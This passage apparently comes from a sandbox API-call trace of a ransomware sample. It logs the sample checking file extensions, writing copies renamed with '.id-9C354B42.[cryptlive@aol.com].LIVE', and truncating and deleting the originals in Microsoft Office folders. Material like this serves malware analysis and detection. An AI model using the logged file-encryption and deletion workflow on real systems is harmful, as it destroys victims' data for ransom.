(lpString1=".xlsx", lpString2="L.FAE") returned -1 [0153.469] lstrlenW (lpString=".ppt") returned 4 [0153.469] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.469] lstrlenW (lpString=".zip") returned 4 [0153.469] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.469] lstrlenW (lpString=".rar") returned 4 [0153.469] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.469] lstrlenW (lpString=".bz2") returned 4 [0153.469] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.469] lstrlenW (lpString=".7z") returned 3 [0153.469] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.469] lstrlenW (lpString=".dbf") returned 4 [0153.469] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.470] lstrlenW (lpString=".1cd") returned 4 [0153.470] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.470] lstrlenW (lpString=".jpg") returned 4 [0153.470] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.470] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0153.470] lstrlenW (lpString="OLTASK.FAE") returned 10 [0153.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.496] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=115608) returned 1 [0153.496] CloseHandle (hObject=0x350) returned 1 [0153.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 0x20 [0153.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.542] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.545] GetLastError () returned 0x0 [0153.545] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1c398, lpOverlapped=0x0) returned 1 [0153.560] WriteFile (in: hFile=0x1f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1c3a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1c3a0, lpOverlapped=0x0) returned 1 [0153.562] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.562] WriteFile (in: hFile=0x1f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0153.563] SetEndOfFile (hFile=0x1f8) returned 1 [0153.563] CloseHandle (hObject=0x1f8) returned 1 [0153.563] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.563] SetEndOfFile (hFile=0x350) returned 1 [0153.567] CloseHandle (hObject=0x350) returned 1 [0153.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 1 [0153.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.568] lstrlenW (lpString=".doc") returned 4 [0153.568] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.568] lstrlenW (lpString=".docx") returned 5 [0153.568] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0153.568] lstrlenW (lpString=".pdf") returned 4 [0153.568] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.568] lstrlenW (lpString=".xls") returned 4 [0153.568] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.568] lstrlenW (lpString=".xlsx") returned 5 [0153.568] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0153.568] lstrlenW (lpString=".ppt") returned 4 [0153.568] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.568] lstrlenW (lpString=".zip") returned 4 [0153.568] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.568] lstrlenW (lpString=".rar") returned 4 [0153.568] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.568] lstrlenW (lpString=".bz2") returned 4 [0153.568] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.568] lstrlenW (lpString=".7z") returned 3 [0153.569] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString=".dbf") returned 4 [0153.569] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString=".1cd") returned 4 [0153.569] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString=".jpg") returned 4 [0153.569] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString=".doc") returned 4 [0153.569] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.569] lstrlenW (lpString=".docx") returned 5 [0153.569] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0153.569] lstrlenW (lpString=".pdf") returned 4 [0153.569] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.569] lstrlenW (lpString=".xls") returned 4 [0153.569] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.569] lstrlenW (lpString=".xlsx") returned 5 [0153.569] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0153.569] lstrlenW (lpString=".ppt") returned 4 [0153.569] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString=".zip") returned 4 [0153.569] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.569] lstrlenW (lpString=".rar") returned 4 [0153.569] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.569] lstrlenW (lpString=".bz2") returned 4 [0153.569] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.569] lstrlenW (lpString=".7z") returned 3 [0153.569] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.569] lstrlenW (lpString=".dbf") returned 4 [0153.570] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.570] lstrlenW (lpString=".1cd") returned 4 [0153.570] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0153.570] lstrlenW (lpString=".jpg") returned 4 [0153.570] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.570] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0153.570] lstrlenW (lpString="PAB.SAM") returned 7 [0153.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.578] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=63864) returned 1 [0153.578] CloseHandle (hObject=0x314) returned 1 [0153.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 0x20 [0153.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.578] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.578] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.579] GetLastError () returned 0x0 [0153.579] ReadFile (in: hFile=0x314, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xf978, lpOverlapped=0x0) returned 1 [0153.766] WriteFile (in: hFile=0x350, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0153.781] ReadFile (in: hFile=0x314, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.781] WriteFile (in: hFile=0x350, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0153.781] SetEndOfFile (hFile=0x350) returned 1 [0154.174] CloseHandle (hObject=0x350) returned 1 [0154.174] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.174] SetEndOfFile (hFile=0x314) returned 1 [0154.177] CloseHandle (hObject=0x314) returned 1 [0154.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 1 [0154.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.364] lstrlenW (lpString=".doc") returned 4 [0154.364] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0154.364] lstrlenW (lpString=".docx") returned 5 [0154.364] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0154.364] lstrlenW (lpString=".pdf") returned 4 [0154.364] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0154.364] lstrlenW (lpString=".xls") returned 4 [0154.364] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0154.364] lstrlenW (lpString=".xlsx") returned 5 [0154.364] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0154.364] lstrlenW (lpString=".ppt") returned 4 [0154.364] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0154.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.364] lstrlenW (lpString=".zip") returned 4 [0154.364] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0154.364] lstrlenW (lpString=".rar") returned 4 [0154.364] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0154.364] lstrlenW (lpString=".bz2") returned 4 [0154.364] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString=".7z") returned 3 [0154.365] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString=".dbf") returned 4 [0154.365] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString=".1cd") returned 4 [0154.365] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString=".jpg") returned 4 [0154.365] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString=".doc") returned 4 [0154.365] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString=".docx") returned 5 [0154.365] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0154.365] lstrlenW (lpString=".pdf") returned 4 [0154.365] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString=".xls") returned 4 [0154.365] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0154.365] lstrlenW (lpString=".xlsx") returned 5 [0154.365] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0154.365] lstrlenW (lpString=".ppt") returned 4 [0154.365] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString=".zip") returned 4 [0154.365] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0154.365] lstrlenW (lpString=".rar") returned 4 [0154.365] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString=".bz2") returned 4 [0154.365] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0154.365] lstrlenW (lpString=".7z") returned 3 [0154.365] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0154.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.365] lstrlenW (lpString=".dbf") returned 4 [0154.365] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0154.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.366] lstrlenW (lpString=".1cd") returned 4 [0154.366] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0154.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0154.366] lstrlenW (lpString=".jpg") returned 4 [0154.366] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0154.366] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.366] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0154.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.366] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=594352) returned 1 [0154.367] CloseHandle (hObject=0x1e0) returned 1 [0154.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll")) returned 0x20 [0154.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.367] lstrlenW (lpString=".doc") returned 4 [0154.367] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.367] lstrlenW (lpString=".docx") returned 5 [0154.367] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0154.367] lstrlenW (lpString=".pdf") returned 4 [0154.367] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.367] lstrlenW (lpString=".xls") returned 4 [0154.367] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.367] lstrlenW (lpString=".xlsx") returned 5 [0154.367] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0154.367] lstrlenW (lpString=".ppt") returned 4 [0154.367] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.367] lstrlenW (lpString=".zip") returned 4 [0154.367] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.367] lstrlenW (lpString=".rar") returned 4 [0154.367] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString=".bz2") returned 4 [0154.368] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.368] lstrlenW (lpString=".7z") returned 3 [0154.368] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.368] lstrlenW (lpString=".dbf") returned 4 [0154.368] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.368] lstrlenW (lpString=".1cd") returned 4 [0154.368] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.368] lstrlenW (lpString=".jpg") returned 4 [0154.368] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.368] lstrlenW (lpString=".doc") returned 4 [0154.368] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString=".docx") returned 5 [0154.368] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0154.368] lstrlenW (lpString=".pdf") returned 4 [0154.368] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString=".xls") returned 4 [0154.368] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString=".xlsx") returned 5 [0154.368] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0154.368] lstrlenW (lpString=".ppt") returned 4 [0154.368] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.368] lstrlenW (lpString=".zip") returned 4 [0154.368] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString=".rar") returned 4 [0154.368] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.368] lstrlenW (lpString=".bz2") returned 4 [0154.368] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.368] lstrlenW (lpString=".7z") returned 3 [0154.368] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.369] lstrlenW (lpString=".dbf") returned 4 [0154.369] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.369] lstrlenW (lpString=".1cd") returned 4 [0154.369] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0154.369] lstrlenW (lpString=".jpg") returned 4 [0154.369] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.369] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.369] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0154.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.369] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=766384) returned 1 [0154.369] CloseHandle (hObject=0x1e0) returned 1 [0154.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll")) returned 0x20 [0154.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.370] lstrlenW (lpString=".doc") returned 4 [0154.370] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.370] lstrlenW (lpString=".docx") returned 5 [0154.370] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0154.370] lstrlenW (lpString=".pdf") returned 4 [0154.370] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.370] lstrlenW (lpString=".xls") returned 4 [0154.370] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.370] lstrlenW (lpString=".xlsx") returned 5 [0154.370] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0154.370] lstrlenW (lpString=".ppt") returned 4 [0154.370] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.370] lstrlenW (lpString=".zip") returned 4 [0154.370] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.370] lstrlenW (lpString=".rar") returned 4 [0154.370] lstrcmpiW (lpString1=".rar", 